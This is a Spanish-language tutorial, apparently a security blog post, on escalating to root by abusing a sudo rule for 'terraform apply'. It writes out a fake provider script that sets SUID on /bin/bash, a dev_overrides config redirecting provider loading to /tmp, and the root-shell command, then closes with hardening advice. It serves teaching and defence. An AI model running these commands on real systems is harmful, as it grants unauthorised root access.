Escalada de privilegios abusando de sudo con Terraform

Escalada de privilegios abusando de sudo con Terraform 🏗️

Cuando un usuario tiene permiso para ejecutar terraform como root vía sudo sobre un directorio concreto, parece un permiso inofensivo y muy acotado. Pero Terraform permite anular de dónde instala sus propios proveedores, y eso es una puerta directa a una shell de root.

🔍 Escenario:

Un usuario no privilegiado tiene la siguiente entrada en sudo -l:

User sushil may run the following commands on example:
    (root) /usr/bin/terraform -chdir=/opt/examples apply

A primera vista, solo puede ejecutar Terraform como root sobre un directorio concreto (/opt/examples). Pero las variables de entorno no se restablecen (!env_reset) y PATH se puede modificar, lo que abre la puerta a controlar de dónde carga sus proveedores.

💡 Paso 1 — Identificar el proveedor
Leyendo los archivos .tf del directorio autorizado podemos ver qué proveedor usa Terraform:

cat /opt/examples/*.tf

💡 Paso 2 — Crear un proveedor malicioso
Creamos un script que, al ejecutarse, añade el bit SUID a /bin/bash:

cat > /tmp/terraform-provider-examples << 'PROVEOF'
#!/bin/bash
chmod +s /bin/bash
PROVEOF

chmod +x /tmp/terraform-provider-examples

💡 Paso 3 — Redirigir la instalación de proveedores
Terraform permite anular de dónde instala sus proveedores (dev_overrides). Apuntamos ese proveedor a nuestro script:

cat > /tmp/terraform.rc << 'RCEOF'
provider_installation {
  dev_overrides {
    "<nombre-del-proveedor>" = "/tmp"
  }
  direct {}
}
RCEOF

export TF_CLI_CONFIG_FILE=/tmp/terraform.rc

💡 Paso 4 — Ejecutar Terraform como root

sudo /usr/bin/terraform -chdir=/opt/examples apply

Terraform ejecuta nuestro script en vez del proveedor real, y /bin/bash queda con el bit SUID activo.

💡 Paso 5 — Obtener la shell de root

/bin/bash -p

🚫 ¿Qué salió mal aquí?
Dar sudo sobre un binario tan flexible como terraform —capaz de ejecutar código arbitrario a través de sus proveedores— equivale casi a dar sudo total, aunque se acote a un solo directorio.

✅ Buenas prácticas:

• Evita dar sudo sobre herramientas de infraestructura como código (Terraform, Ansible, etc.) salvo que sea estrictamente necesario.

• Si es imprescindible, restringe también las variables de entorno (env_reset, secure_path) para que no se puedan manipular PATH ni ficheros de configuración externos.

• Revisa periódicamente /etc/sudoers y las políticas de sudo de tus sistemas.

🔐 La superficie de ataque de sudo no es solo "qué binario", también es "qué puede hacer ese binario por debajo".